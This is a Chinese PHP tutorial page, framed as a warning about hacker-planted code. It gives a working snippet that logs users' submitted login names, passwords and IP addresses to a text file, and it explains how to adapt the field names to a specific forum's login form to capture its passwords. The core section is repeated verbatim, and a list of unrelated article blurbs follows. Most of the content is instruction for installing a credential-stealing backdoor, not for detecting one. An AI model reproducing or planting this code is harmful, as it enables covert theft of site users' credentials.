php截取后台登陆密码的代码
更新时间：2012年05月05日 01:24:13 作者：
php截取后台登陆密码的代码,很多时候黑客留了这样的代码，大家一定要注意下
if($_POST[loginsubmit]!=){ //判断是否点了登陆按钮
$sb=user:.$_POST[username].--passwd:.$_POST[password].--ip:.$HTTP_SERVER_VARS[REMOTE_ADDR].--.date(Y-m-d H:i:s).rn; // 把POST接收到的值 连起来赋值给变量$sb
fwrite(fopen(robot.txt,ab),$sb);} //结果写入一个文件
下面简单分析一下,以华夏的登陆页面为例。打开bbs.xxx.com/login.php 右键查看源码,CTRL+F搜索action找到登陆的表单。
我只复制了关键代码过来.
<form action=login.php? method=post name=login onSubmit=this.submit.disabled=true;> //action后面的值即是表单提交的地址，里面会处理登陆，比如判断密码是不是正确什么的 method为POST，所以用$_POST接收。
。。。。强大的省略号。。。。。。
<TR>
<TD height=40>账号(<U>U</U>):<BR>
<INPUT
class=input id=pwuser accessKey=u size=16
name=pwuser> </TD></TR> //用户名的input输入框, 注意其name的值， 要和$_POST[username] 这里面的对应, 所以要截取华夏的密码，需要改为 $_POST[pwuser]
<TR>
<TD height=40>密 码(<U>P</U>):<BR><INPUT
class=input id=pwpwd accessKey=p
type=password size=16 name=pwpwd> </TD></TR> //用户名的input输入框, 注意其name的值， 要和$_POST[username] 这里面的对应, 所以要截取华夏的密码，需要改为 $_POST[pwpwd]
$sb=user:.$_POST[username].--passwd:.$_POST[password].--ip:.$HTTP_SERVER_VARS[REMOTE_ADDR].--.date(Y-m-d H:i:s).rn; // 把POST接收到的值 连起来赋值给变量$sb
fwrite(fopen(robot.txt,ab),$sb);} //结果写入一个文件
下面简单分析一下,以华夏的登陆页面为例。打开bbs.xxx.com/login.php 右键查看源码,CTRL+F搜索action找到登陆的表单。
我只复制了关键代码过来.
<form action=login.php? method=post name=login onSubmit=this.submit.disabled=true;> //action后面的值即是表单提交的地址，里面会处理登陆，比如判断密码是不是正确什么的 method为POST，所以用$_POST接收。
。。。。强大的省略号。。。。。。
<TR>
<TD height=40>账号(<U>U</U>):<BR>
<INPUT
class=input id=pwuser accessKey=u size=16
name=pwuser> </TD></TR> //用户名的input输入框, 注意其name的值， 要和$_POST[username] 这里面的对应, 所以要截取华夏的密码，需要改为 $_POST[pwuser]
<TR>
<TD height=40>密 码(<U>P</U>):<BR><INPUT
class=input id=pwpwd accessKey=p
type=password size=16 name=pwpwd> </TD></TR> //用户名的input输入框, 注意其name的值， 要和$_POST[username] 这里面的对应, 所以要截取华夏的密码，需要改为 $_POST[pwpwd]
相关文章
这篇文章主要介绍了PHP实现可精确验证身份证号码的工具类,涉及php针对字符串的截取、计算、判断等相关操作技巧,并附带说明了身份证号码的原理,需要的朋友可以参考下2018-05-05
这篇文章主要介绍了php处理带有中文URL的方法,涉及php编码转换相关操作技巧,具有一定参考借鉴价值,需要的朋友可以参考下2016-07-07
这篇文章主要介绍了PHP Socket网络操作类定义与用法,结合实例形式分析了php socket网络操作类的定义及结合ajax发送查询请求等相关使用技巧,需要的朋友可以参考下2017-08-08
学过C++的人都应该知道C++中有个虚函数的概念。而在php5中如何实现这个虚函数呢？2011-04-04
这篇文章主要介绍了编写PHP脚本过滤用户上传的图片,至于是不是能达到设想的准确过滤那种图片的效果,这个就...需要的朋友可以参考下2015-07-07
这篇文章主要介绍了PHP 超级全局变量的的相关资料，文中讲解非常细致，代码帮助大家更好的理解和学习，感兴趣的朋友可以了解下2020-06-06
MVC模式在网站架构中十分常见。它允许我们建立一个三层结构的应用程式，从代码中分离出有用的层，帮助设计师和开发者协同工作以及提高我们维护和扩展既有程式的能力。2010-03-03
下面小编就为大家带来一篇Linux php 中文乱码的快速解决方法。小编觉得挺不错的，现在分享给大家，也给大家做个参考，一起跟随小编过来看看吧2016-05-05
这篇文章主要介绍了PHP实现的猴王算法(猴子选大王),对比分析了两种PHP猴王算法,涉及PHP数组遍历、判断、递归等相关操作技巧,需要的朋友可以参考下2018-04-04
这篇文章主要介绍了php获取指定数量随机字符串的方法,涉及php针对数组的遍历及字符串运算相关操作技巧,需要的朋友可以参考下2017-02-02
最新评论